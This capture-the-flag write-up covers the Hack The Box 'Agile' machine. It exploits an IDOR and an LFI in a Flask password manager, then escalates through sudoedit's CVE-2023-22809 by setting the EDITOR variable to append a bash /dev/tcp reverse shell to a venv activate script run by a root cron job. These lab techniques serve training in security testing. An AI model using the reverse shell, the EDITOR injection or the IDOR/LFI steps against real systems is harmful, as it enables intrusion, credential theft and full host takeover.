HTB Agile: Formal Writeup
Synopsis:
The Agile HTB Linux machine hosted a password manager that was vulnerable to IDOR and LFI. An attacker could exploit the IDOR to obtain the user corum’s
SSH password and exploit the LFI to disclose the source code and other confidential files. Upon landing on the host, an attacker could build a SSH local port forwarding to find a test web application. The test web application was not significantly different from the main application, but it was vulnerable to the same IDOR vulnerability. By exploiting this vulnerability, an attacker could find a pair of credentials for the user edwards
. The user edwards
was able to run sudoedit
commands only as the user “dev_admin
” on two files. The host was also vulnerable to CVE-2023–22809
, which could be exploited to add a reverse shell to the app/venv/bin/activate
file and compromise the host.
Active Recon:
The attacker performed a nmap scan to find available open ports and running services.
┌──(toothless5143@kali)-[~]
└─$ sudo nmap -Pn -sV -sC --min-rate=5000 -T4 10.10.11.203
[sudo] password for toothless5143:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 04:19 CDT
Nmap scan report for 10.10.11.203
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
From the initial port scanning 2 open ports were discovered SSH
& HTTP
. Nmap’s Script Engine revealed that the HTTP server redirects to the VHOST superpass.htb
.
The attacker added the VHOST to their /etc/hosts
file to discover the underlying web app.
┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.203 superpass.htb" | sudo tee -a /etc/hosts
Upon visiting the website its found that the website is a password manager and no other interactions were available except the /login
endpoint. The login page wasn’t vulnerable to known attacks such as Credential stuffing or SQL injection.
While registering an user the web app threw an OperationalError
which revealed that the app is based on python flask and the error exposed some sensitive source code paths.
<SNIP>
File "/app/venv/lib/python3.10/site-packages/pymysql/cursors.py", line 310, in _query
conn.query(q)
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 548, in query
self._affected_rows = self._read_query_result(unbuffered=unbuffered)
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 775, in _read_query_result
result.read()
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 1156, in read
first_packet = self.connection._read_packet()
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 701, in _read_packet
raise err.OperationalError(
The above exception was the direct cause of the following exception:
File "/app/venv/lib/python3.10/site-packages/flask/app.py", line 2528, in wsgi_app
response = self.handle_exception(e)
File "/app/venv/lib/python3.10/site-packages/flask/app.py", line 2525, in wsgi_app
response = self.full_dispatch_request()
File "/app/venv/lib/python3.10/site-packages/flask/app.py", line 1822, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/app/venv/lib/python3.10/site-packages/flask/app.py", line 1820, in full_dispatch_request
rv = self.dispatch_request()
File "/app/venv/lib/python3.10/site-packages/flask/app.py", line 1796, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/app/superpass/infrastructure/view_modifiers.py", line 15, in view_method
response_val = f(*args, **kwargs)
File "/app/app/superpass/views/account_views.py", line 35, in register_post
user = user_service.create_user(username, password)
File "/app/app/superpass/services/user_service.py", line 8, in create_user
if get_user_by_name(username):
File "/app/app/superpass/services/user_service.py", line 36, in get_user_by_name
tmp = session.query(User).filter(User.username == username).first()
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/query.py", line 2824, in first
return self.limit(1)._iter().first()
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/query.py", line 2916, in _iter
result = self.session.execute(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/session.py", line 1714, in execute
result = conn._execute_20(statement, params or {}, execution_options)
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/base.py", line 1705, in _execute_20
return meth(self, args_10style, kwargs_10style, execution_options)
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/sql/elements.py", line 334, in _execute_on_connection
return connection._execute_clauseelement(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/base.py", line 1572, in _execute_clauseelement
ret = self._execute_context(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/base.py", line 1943, in _execute_context
self._handle_dbapi_exception(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/base.py", line 2124, in _handle_dbapi_exception
util.raise_(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/util/compat.py", line 211, in raise_
raise exception
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/base.py", line 1900, in _execute_context
self.dialect.do_execute(
File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/default.py", line 736, in do_execute
cursor.execute(statement, parameters)
File "/app/venv/lib/python3.10/site-packages/pymysql/cursors.py", line 148, in execute
result = self._query(query)
File "/app/venv/lib/python3.10/site-packages/pymysql/cursors.py", line 310, in _query
conn.query(q)
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 548, in query
self._affected_rows = self._read_query_result(unbuffered=unbuffered)
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 775, in _read_query_result
result.read()
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 1156, in read
first_packet = self.connection._read_packet()
File "/app/venv/lib/python3.10/site-packages/pymysql/connections.py", line 701, in _read_packet
</SNIP>
Vulnerability Analysis & Exploitation:
During the manual exploration, an end point was found which was vulnerable to IDOR’s. The vulnerable endpoint was http://superpass.htb/vault/edit_row/<ID>
. While editing an entry from the vault it was possible to view other user’s password by changing the ID.
It was possible to compromise a few user’s password by brute forcing the endpoint, /vault/edit_row/ID
from 0–10
using Burp Intruder. The notable able passwords are mentioned below.
ticketmaster - corum:<REDACTED>
mgoblog - corum:<REDACTED>
agile - corum:<REDACTED>
While testing different functionalities of the web app, exporting the password manager’s data revealed an interesting endpoint named /download
.
Upon researching further it was found out that the parameter ?fn=*
is vulnerable to LFI. And it was possible to get the users list on the host by exporting the /etc/passwd
file by exploiting the same LFI vulnerability.
Contents of /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
Through the same vulnerability it was also possible to disclose the web app’s source code from the revealed source code paths found from the earlier OperationalError
.
Upon inspecting /etc/passwd
thoroughly a user named corum
was found. And the same user’s credentials were compromised through the IDOR vulnerability.
It was possible to gain the initial foothold and first flag by SSH’ing into the host by using the compromised user’s password.
┌──(toothless5143@kali)-[~]
└─$ ssh corum@10.10.11.203
corum@10.10.11.203's password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
<SNIP>
corum@agile:~$ cat user.txt
<REDACTED>
Post Exploitation:
The linpeas
was transferred to the host using python’s http.server
module but found nothing important upon executing the script. During the manual exploration process it was found that a test version of the web app was running on port 5555
on localhost
from the /app
directory.
corum@agile:/app/app-testing/superpass$ cat app.py
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
<SNIP>
def dev():
configure()
app.run(port=5555)
</SNIP>
Upon inspecting the /etc/hosts
file for interesting entries, a new subdomain test.superpass.htb
was found.
corum@agile:~$ /app/app-testing$ cat /etc/hosts
127.0.0.1 localhost superpass.htb test.superpass.htb
127.0.1.1 agile
<SNIP>
The locally hosted web app was explore able on the attacker’s host by building a SSH’s local port forwarding tunnel.
┌──(toothless5143@kali)-[~]
└─$ ssh -L 8080:localhost:5555 corum@10.10.11.203
corum@10.10.11.203's password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
<SNIP>
corum@agile:~$
The web app was fully functional over the SSH tunnel
.
Lateral Movement:
The web application was not significantly different from the main application. After registering an account and testing for previously identified vulnerabilities, it was determined that the web application was vulnerable to the exact same vulnerabilities as the main application.
At the time of testing the same IDOR vulnerability a pair of credential for the user edwards
was exposed.
agile - edwards:<REDACTED>
Privilege Escalation:
After logging in using the SSH protocol and listing the sudo
privileges for the user edwards
, some interesting entries were discovered.
┌──(toothless5143@kali)-[~]
└─$ ssh edwards@10.10.11.203
edwards@10.10.11.203's password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
<SNIP>
edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
The user edwards
was able to run sudoedit
commands only as the user “dev_admin
” on these two files. After visiting the /app/config_test.json
file, a pair of credentials was found.
<SNIP>
MYSQL_LOGIN : superpasstester
MYSQL_PASS : <REDACTED>
</SNIP>
Additionally a cron
job was present that was triggering a python QA test script trough virtual environment.
<SNIP>
root 992 0.0 0.0 4304 2596 ? Ss Mar04 0:01 /usr/sbin/cron -f -P
root 84861 0.0 0.1 7756 4264 ? S 14:59 0:00 _ /usr/sbin/CRON -f -P
runner 84863 0.0 0.0 2888 972 ? Ss 14:59 0:00 _ /bin/sh -c /app/test_and_update.sh
</SNIP>
A close inspection of the sudo version
revealed that that the machine was vulnerable to the CVE-2023–22809 vulnerability. This vulnerability could be exploited to view and edit any files that were owned by the dev_admin
user.
edwards@agile:/app$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
After some file system enumeration it was noticed that the user dev_admin
has write permissions over the python’s virtual environment activation scripts.
edwards@agile:/app$ ls -la venv/bin/
total 1380
drwxrwxr-x 2 root dev_admin 4096 Aug 4 08:42 .
drwxrwxr-x 5 root dev_admin 4096 Feb 8 16:29 ..
-rw-r--r-- 1 root dev_admin 9033 Aug 4 08:42 Activate.ps1
-rw-rw-r-- 1 root dev_admin 1976 Aug 4 08:42 activate
-rw-r--r-- 1 root dev_admin 902 Aug 4 08:42 activate.csh
-rw-r--r-- 1 root dev_admin 2044 Aug 4 08:42 activate.fish
-rwxrwxr-x 1 root root 213 Aug 4 08:42 flask
-rwxr-xr-x 1 root root 222 Jan 24 2023 gunicorn
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip3
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip3.10
-rwxrwxr-x 1 root root 226 Aug 4 08:42 py.test
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pytest
lrwxrwxrwx 1 root root 7 Aug 4 08:42 python -> python3
lrwxrwxrwx 1 root root 16 Aug 4 08:42 python3 -> /usr/bin/python3
lrwxrwxrwx 1 root root 7 Aug 4 08:42 python3.10 -> python3
-rwxrwxr-x 1 root root 1349984 Jan 23 2023 uwsgi
At this point, the vulnerability could be used in conjunction with the writable venv files to attempt to escalate privileges to the root user by appending a simple reverse shell to the /app/venv/bin/activate
file.
Setting up a netcat listener:
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
Then the following command was applied to set the EDITOR
environment variable to the value vi — /app/venv/bin/activate
and then the sudoedit
command was used to edit the file /app/config_test.json
as the user dev_admin
.
edwards@agile:/app$ EDITOR='vi -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
# Append the file
bash -i >& /dev/tcp/10.10.14.127/4444 0>&1
Upon awaiting the cron
job to execute the QA test script, the QA test script used Python’s virtual environment to trigger the payload. The payload then gave the attacker control of the machine.
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.127] from (UNKNOWN) [10.10.11.203] 48680
bash: cannot set terminal process group (10129): Inappropriate ioctl for device
bash: no job control in this shell
bash: connect: Connection refused
bash: /dev/tcp/10.10.14.127/4444: Connection refused
root@agile:~# whoami
whoami
root
After receiving the reverse connection with the permissions of the root
user, the attacker obtained the third flag and completely compromised the machine.
Signing out,
- Toothless